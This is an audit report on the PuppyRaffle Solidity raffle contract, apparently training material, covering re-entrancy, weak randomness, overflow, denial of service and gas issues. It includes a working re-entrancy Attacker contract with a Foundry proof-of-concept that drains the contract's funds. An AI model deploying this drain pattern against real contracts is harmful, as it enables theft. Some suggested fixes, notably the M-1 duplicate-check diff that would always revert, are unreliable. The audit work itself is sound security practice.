PuppyRaffle Audit Report

Version 1.0

skipper audits

September 26, 2024

Protocol Audit Report

skipper

sep 24,2024

Prepared by: [skipper] Lead Auditors: - skipper

Table of Contents

  - [M-1] Looping through players arrray to check for duplicates in `PuppyRaffle::enterRaffle` is a potential denial of service (Dos) attack, incrementing gas cost for future entrants.
  - [M-2] smart contract wallets raffle winners without a `receive` or a `fallback` function will block the start of a new contest.

- Low
  - [L-1] `PuppyRaffle::getActivePlayerIndex` returns `0` for non-existant players and players at index `0` to incorrectly think that they have not entered the raffle.
  - [L-2] Precision Loss in the `PuppyRaffle.sol::selectWinner` function which can lead to precision being lost while calculating `rewards` and `fees`.

- Gas
  - [G-1] Unchanged state variable should be declared constant or immutable.
  - [G-2] Reading from storage variables inside loops is gas expensive in `PuppyRaffle::Players.length`

- Informational
  - [I-1] Solidity pragma should be specific, not wide
  - [I-2] Using outdated versions of solidity is not reccomended.
  - [I-3] Missing checks for `address(0)` when assigning values to address state variables
  - [I-4] `PuppyRaffle::selectWinner` does not follow CEI, which is the not a best practice.
  - [I-5] Use of "magic" numbers is discouraged.
  - [I-6] State changes are missing events.
  - [I-7] `PuppyRaffle::_isActivePlayer` is never used and should be removed.

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
    1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy

5. The owner of the protocol will set a feeAddress to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

skipper makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: e30d199697bbc822b646d76533b66b7d529b8ef5
- In Scope:

```
./src/
#--PuppyRaffle.sol
```

Scope

```
./src/
#--PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function. Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Issues found

severity	Number of issues found
High	4
Medium	2
Low	2
info	7
gas	2
Total	17

Findings

High

[H-1] Re-Entrancy vulnerability in the `PuppyRaffle.sol::refund` function which could lead to all the money being lost to attackers.

Description:

The `refund` function is vulnerable to Re-Entrancy attack,which can cause the players in the raffle to lose all their money in the raffle.

```
1     function refund(uint256 playerIndex) public {
2         address playerAddress = players[playerIndex];
3         require(playerAddress == msg.sender, "PuppyRaffle: Only the
              player can refund");
4         require(playerAddress != address(0), "PuppyRaffle: Player
              already refunded, or is not active");
5
6         payable(msg.sender).sendValue(entranceFee);
7
```

```
        players[playerIndex] = address(0);
        emit RaffleRefunded(playerAddress);
    }
```

Impact:

Could seriously affect the protocol's functionality if all the players lose their money from the contract which will lead to people not entering any future raffles.

Proof of Concept:

run this test below in the test suite of the project. you can see in the logs how an attacker could drain all the money from the contract.

PoC

```
    function test_ReEntrancy() public {
        Attacker attacker = new Attacker(puppyRaffle);
        address _attacker = makeAddr("attacker");
        vm.deal(_attacker, 1e18);

        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

        uint256 startingRaffleBalance = address(puppyRaffle).balance;

        uint256 startingAttackerBalance = address(attacker).balance;
        vm.prank(_attacker);
        attacker.attack{value: 1 ether}();

        uint256 endingRaffleBalance = address(puppyRaffle).balance;
        uint256 endingAttackerBalance = address(attacker).balance;
        console.log("starting raffle balance:", startingRaffleBalance);
        console.log("starting attacker balance:",
           startingAttackerBalance);
        console.log("ending raffle balance:", endingRaffleBalance);
        console.log("ending attacker balance:", endingAttackerBalance);
    }

    contract Attacker {
    uint256 entranceFee = 1e18;
    PuppyRaffle public puppyRaffle;
    uint256 playerIndex;

    constructor(PuppyRaffle _puppyraffle) {
        puppyRaffle = _puppyraffle;
    }
```

```
35
36      function attack() public payable {
37          address[] memory player = new address[](1);
38          player[0] = address(this);
39          puppyRaffle.enterRaffle{value: entranceFee}(player);
40          playerIndex = puppyRaffle.getActivePlayerIndex(address(this));
41          puppyRaffle.refund(playerIndex);
42      }
43
44      receive() external payable {
45          if (address(puppyRaffle).balance > 0) {
46              puppyRaffle.refund(playerIndex);
47          }
48      }
49
50      fallback() external payable {
51          if (address(puppyRaffle).balance > 0) {
52              puppyRaffle.refund(playerIndex);
53          }
54      }
55  }
```

Recommended Mitigation:

Always follow CEI (Checks,effects,Interactions). 1. always update the state variables before interacting with external contracts.

```
1   function refund(uint256 playerIndex) public {
2           //@audit reentrancy
3            address playerAddress = players[playerIndex];
4
5           require(playerAddress == msg.sender, "PuppyRaffle: Only the
               player can refund");
6           require(playerAddress != address(0), "PuppyRaffle: Player
               already refunded, or is not active");
7   +         players[playerIndex] = address(0);
8   +         emit RaffleRefunded(playerAddress);
9
10          payable(msg.sender).sendValue(entranceFee);
11
12  -        players[playerIndex] = address(0);
13  -        emit RaffleRefunded(playerAddress);
14      }
```

2. Use OpenZeppelins `ReEntrancyGuard` to prevent re-Entrancy.(`Reccomended`)

[H-2] Weak Randomness in `Puppyraffle.sol::selectWinner` function allows user to influence or predict the winner and influence or predict the winning puppy.

Description:

The `Puppyraffle.sol::selectWinner` function calculates random winner in a predicatable manner (Hashing `msg.sender`,`block.timestamp`, and `block.difficulty`)leading to the contract being vulnerable to attackers and miners.

Note: This additionally means user could front-run this function and call `refund` if they see they are not the winner.

```
1  function selectWinner() external {
2          require(block.timestamp >= raffleStartTime + raffleDuration, "
               PuppyRaffle: Raffle not over");
3          require(players.length >= 4, "PuppyRaffle: Need at least 4
               players");
4          //@audit weak Randomness
5      =>    uint256 winnerIndex =
6              uint256(keccak256(abi.encodePacked(msg.sender, block.
                   timestamp, block.difficulty))) % players.length;
7          address winner = players[winnerIndex];
8          }
```

Impact:

This weak randomness can be exploited by attackers and miners, They could predict the random number and `rarest` puppy which could lead to losing money from the raffle and the attackers possibly getting the rarest puppy in the raffle.

Proof of Concept: 1. Validators can know ahead of time the `block.timestamp` and `block.difficulty` and use that to predict when/how to participate.See the [solidity blog on prevrandao] (https://soliditydeveloper.com/prevrandao).`block.difficulty` was recently replaced with `block.prevrandao`. 2. Users can mine/manipulate their `msg.sender` value to result in their address being used to generate the winner. 3. Users can revert their `selectWinner` transaction if the dont like the winner or resulting puppy.

Recommended Mitigation:

1. never use `block.timestamp` `block.difficulty` to create a random number as they can be exploited.
2. use Randomness from off the chain (on-chain randomness is predictable and can be attacked).
3. use Chainlink VRF to create a provable random number generator (`Reccomended`).

[H-3] Arithmetic Overflow and unsafe type-Casting in the `PuppyRaffle.sol::selectWinner` function which can cause severe breaking of the protocols functionality.

Description:

The `Puppyraffle.sol::selectWinner` function has arithmetic overflow and unsafe type-Casting which can cause severe breaking of the protocols functionality . The `totalFees` is a `uint64` and if the value is greater than the `uint64` max limit it will overflow.

The function is also type-casting `uint256` fee to `uint64` which can also lead to some errors if the value is greater than the maximum value possible for `uint64`.

```
1    uint256 prizePool = (totalAmountCollected * 80) / 100;
2       => uint256 fee = (totalAmountCollected * 20) / 100;
3          //@audit unsafe casting
4          //@audit arithmetic overflow.
5       =>  totalFees = totalFees + uint64(fee);
```

Impact: in `PuppyRaffle::SelectWinner`,`totalFees` are accumulated for the `feeAddress` to collect later in the `PuppyRaffle::withdrawFees`. However, if the `totalFees` variable overflows, the `feeAddress` may not collect the correct amount of fees ,leaving fees permanantly stuck in the contract.

Proof of Concept:

Run these tests given below. We can see the two assertions being violated.

alternatively,you will not be able to withdraw the,due to the line in `PuppyRaffle::withdrawFees` if overflow occurs,

```
1   require(address(this).balance == uint256(totalFees), "PuppyRaffle:
       There are currently players active!");
```

Although you could use`selfdestruct` to send ETH to this contract in order for the values to match and withdraw the fees,this is clearly not the intended design of the protocol.At some point ,there will be too much `balance` in the contract that the above will be impossible to hit.

PoC

```
1  //first test
2   function test_Overflow() public {
3          uint256 expectedFees = 20 ether;
4          address[] memory players = new address[](100);
5          for (uint256 i = 0; i < 100; i++) {
6              players[i] = address(i);
7          }
```

```
8           puppyRaffle.enterRaffle{value: entranceFee * players.length}(
                players);
9           vm.warp(block.timestamp + 2 days);
10          puppyRaffle.selectWinner();
11          uint64 number = puppyRaffle.totalFees();
12          assertEq(expectedFees, number); //we expected the fees as 20
                ether but we got another result
13      }
14  //second test
15      function test_UnsafeCasting() public pure {
16          uint256 fee = 20e18;
17          assertEq(fee, uint64(fee));
18      }
```

Recommended Mitigation:

1. Use higher version of solidity.It will automatically revert if an underflow or overflow occurs
2. use `uint256` if possible to prevent arithmetic overflow.
3. Try not to type cast a higher integer to a lower integer if possible.
4. Remove the balance check from `Puppyraffle::withdrawFees`

```
1  -        require(address(this).balance == uint256(totalFees), "
       PuppyRaffle: There are currently players active!");
```

There are more attack vectors with that final require,so we reccomend removing it regardless.

[H-4] Potential loss of funds during prize pool distribution

Description:

In the refund function if a user wants to refund his money then he will be given his money back and his address in the array will be replaced with address(0). So lets say Alice entered in the raffle and later decided to refund her money then her address in the player array will be replaced with address(0). And lets consider that her index in the array is 7th so currently there is address(0) at 7th index, so when selectWinner function will be called there isn't any kind of check that this 7th index can't be the winner so if this 7th index will be declared as winner then all the prize will be sent to him which will actually lost as it will be sent to address(0)

Impact: Loss of funds if they are sent to address(0), posing a financial risk.

Recommended Mitigation: Implement additional checks in the selectWinner function to ensure that prize money is not sent to address(0) # Medium

[M-1] Looping through players arrray to check for duplicates in `PuppyRaffle::enterRaffle` is a potential denial of service (Dos) attack, incrementing gas cost for future entrants.

Description: In the `PuppyRaffle::enterRaffle` function, the code loops through the `players` array to check for duplicates.However, the longer the `players` array is, the more checks a new player will have to make. This means the gas costs for players who enter right when the raffle starts will be dramatically lower than those who enter later.Every additional address in the `players` array is an additional check the loop will have to make.

```
//@audit Dos
        for (uint256 i = 0; i < players.length - 1; i++) {
            for (uint256 j = i + 1; j < players.length; j++) {
                require(players[i] != players[j], "PuppyRaffle:
                    Duplicate player");
            }
        }
```

Impact: The gas costs for raffle entrants will greatly increase as more players enter the raffle .Discouraging later users from entering and causing a rush at the start of the raffle.

An attacker might fill up the raffle so big,that no one else enters,guaranteeing themselves the win.

Proof of Concept: if we have 2 sets of 100 players entering the raffle , the gas costs will be as such

First 100 players ~ 6252047 gas Sencond 100 players ~ 18068137 gas (more than 3 times expensive)

PoC

place the following tes into `PuppyraffleTest.t.sol`.

```
function test_Dos() public {
        //First batch

        uint256 FirstBatch = 100;
        address[] memory FirstBatchPlayers = new address[](FirstBatch);
        for (uint256 i = 0; i < FirstBatch; i++) {
            FirstBatchPlayers[i] = address(i);
        }
        uint256 gasStart = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * FirstBatch}(
            FirstBatchPlayers);
        uint256 gasEnd = gasleft();
        uint256 gasUsedFirst = (gasStart - gasEnd);
        console.log("gas cost for 1st 100 players :", gasUsedFirst);

        //secondBatch

        address[] memory SecondBatch = new address[](FirstBatch);
        for (uint256 i = 0; i < FirstBatch; i++) {
```

```
19              SecondBatch[i] = address(i + FirstBatch);
20          }
21          uint256 gasStartSecond = gasleft();
22          puppyRaffle.enterRaffle{value: entranceFee * FirstBatch}(
                SecondBatch);
23          uint256 gasEndSecond = gasleft();
24          uint256 gasUsedSecond = (gasStartSecond - gasEndSecond);
25          console.log("gas cost for 1st 100 players :", gasUsedSecond);
26      }
```

Recommended Mitigation: 1. consider allowing duplicates....Users can make new wallet addresses anyway,so a duplicate check doesn't prevent the same person from entering multiple times, only the same wallet address.

2. consider using a mapping to check for duplicates.This would allow constant time lookup of whether a user has already entered.

```
1  +    mapping(address => uint256) public addressToRaffleId;
2  +    uint256 public raffleId = 0;
3       .
4       .
5       .
6       function enterRaffle(address[] memory newPlayers) public payable {
7           require(msg.value == entranceFee * newPlayers.length, "
                PuppyRaffle: Must send enough to enter raffle");
8           for (uint256 i = 0; i < newPlayers.length; i++) {
9               players.push(newPlayers[i]);
10 +             addressToRaffleId[newPlayers[i]] = raffleId;
11          }
12
13 -        // Check for duplicates
14 +        // Check for duplicates only from the new players
15 +        for (uint256 i = 0; i < newPlayers.length; i++) {
16 +           require(addressToRaffleId[newPlayers[i]] != raffleId, "
    PuppyRaffle: Duplicate player");
17 +        }
18 -        for (uint256 i = 0; i < players.length; i++) {
19 -            for (uint256 j = i + 1; j < players.length; j++) {
20 -                require(players[i] != players[j], "PuppyRaffle:
    Duplicate player");
21 -            }
22 -        }
23          emit RaffleEnter(newPlayers);
24      }
25 .
26 .
27 .
28      function selectWinner() external {
29 +        raffleId = raffleId + 1;
30          require(block.timestamp >= raffleStartTime + raffleDuration, "
```

```
                PuppyRaffle: Raffle not over");}
```

3. Alternatively, you could use OpenZeppelin's EnumerableSet library.

[M-2] smart contract wallets raffle winners without a `receive` or a `fallback` function will block the start of a new contest.

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery.However, if the winner is smart contract wallet that rejects payment,the lottery would not be able to restart.

Users could easily call the `selectWinner` function again and non-wallet entrants could enter, but it could could cost a lot due to the duplicate check and lottery reset could get very challenging.

Impact: The `PuppyRaffle::selectWinner` function could revert many times ,making a lottery reset difficult.

Also,true winners would not get paid out and someone else could take their money.

Proof of Concept: 1. 10 smart contract waller enter the raffle without a fallback or receive function. 2. The lottery ends. 3. The `selectWinner` function wouldn't work, even though the lottery is over.

Recommended Mitigation:
1. create a mapping of addresses => payout amounts so winners can pull their funds out themselves with a new `claimPrize` function,putting the owners on the winner to claim their prize.

> pull over push.

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` returns `0` for non-existant players and players at index `0` to incorrectly think that they have not entered the raffle.

Description: if a player is in the `PuppyRaffle::players` array at index 0, this will return 0, but according to the natspec,it will also return 0 if the player is not in the array.

```
1     /// @return the index of the player in the array, if they are not
          active, it returns 0
2     function getActivePlayerIndex(address player) external view returns (
          uint256) {
3         for (uint256 i = 0; i < players.length; i++) {
4             if (players[i] == player) {
5                 return i;
```

```
6                 }
7             }
8             return 0;
9         }
```

Impact: a players at index `0` may incorrectly think that they have not entered the raffle and attempt to enter raffle again, wasting gas.

Proof of Concept: 1. User enters tha raffle,they are the first entrant. 2. `PuppyRaffle::getActivePlayerIndex` returns 0. 3. User thinks that they have not entered correctly due to the function documentation.

Recommended Mitigation: 1. revert the function if the player is not in the array instead of returning 0.

2. return an `int256` where the function returns -1 if the player is not active.

[L-2] Precision Loss in the `PuppyRaffle.sol::selectWinner` function which can lead to precision being lost while calculating `rewards` and `fees`.

Description: The `prizePool` and `fee` will neglect the value after the point if the calculation is not completely divisible by 100.

```
1           uint256 prizePool = (totalAmountCollected * 80) / 100;
2           uint256 fee = (totalAmountCollected * 20) / 100;
```

Impact: This can cause minor calculation errors in the protocol .

Recommended Mitigation:

1. use some audited libraries for this operation.
2. A common approach is to multiply by a precision factor (such as 100 or 10000) before performing division.

```
1 uint256 precision = 10000; // 10000 represents 2 decimal precision (e.g
     ., 80.00%)
2 uint256 prizePool = (totalAmountCollected * 8000) / precision; // 8000
     is 80.00%
3 uint256 fee = (totalAmountCollected * 2000) / precision;  // 2000 is
     20.00%
4
5 //calculate the remainder
6 uint256 remainder = totalAmountCollected - (prizePool + fee);
7
8 //you can use this remainder as you like which suits the best for the
     protocol.
```

Gas

[G-1] Unchanged state variable should be declared constant or immutable.

Reading from storage is much more expensive than reading from a constant or immutable variable.

Instances: 1. `PuppyRaffle::raffleDuration` should be `immutable`. 2. `PuppyRaffle::commonImageUri` should be `constant`. 3. `PuppyRaffle::rareImageUri` should be `constant`. 4. `PuppyRaffle::legendaryImageUri` should be `constant`.

[G-2] Reading from storage variables inside loops is gas expensive in `PuppyRaffle::Players.length`

Description (in `enterRaffle` and `getActivePlayerIndex` function)

```
1 => for (uint256 i = 0; i < players.length - 1; i++)
```

Recommended Mitigation:

```
1 - for (uint256 i = 0; i < players.length - 1; i++)
2
3 + uint256 playerlength=players.length;
4
5 + for (uint256 i = 0; i < playerlength; i++)
```

Informational

[I-1] Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

[I-2] Using outdated versions of solidity is not reccomended.

Description:

solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommendation:

Deploy with a recent version of Solidity (at least 0.8.0) with no known severe issues.

Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

[I-3] Missing checks for `address(0)` when assigning values to address state variables

Check for `address(0)` when assigning values to address state variables.

2 Found Instances

- Found in src/PuppyRaffle.sol Line: 62

```
1           feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 174

```
1           feeAddress = newFeeAddress;
```

[I-4] `PuppyRaffle::selectWinner` does not follow CEI, which is the not a best practice.

```
1 -         (bool success,) = winner.call{value: prizePool}("");
2 -         require(success, "PuppyRaffle: Failed to send prize pool to
    winner");
3           _safeMint(winner, tokenId);
4 +         (bool success,) = winner.call{value: prizePool}("");
5 +         require(success, "PuppyRaffle: Failed to send prize pool to
    winner");
```

[I-5] Use of "magic" numbers is discouraged.

Description

```
1           uint256 prizePool = (totalAmountCollected * 80) / 100;
2           uint256 fee = (totalAmountCollected * 20) / 100;
```

instead ,you could use :

```
1 //uint256 public constant  PRIZE_POOL_PERCENTAGE=80;
2 //uint256 public constant FEE_PERCENTAGE=20;
3 //uint256 public constant POOL_PRECISION=100;
```

[I-6] State changes are missing events.

[I-7] `PuppyRaffle::_isActivePlayer` is never used and should be removed.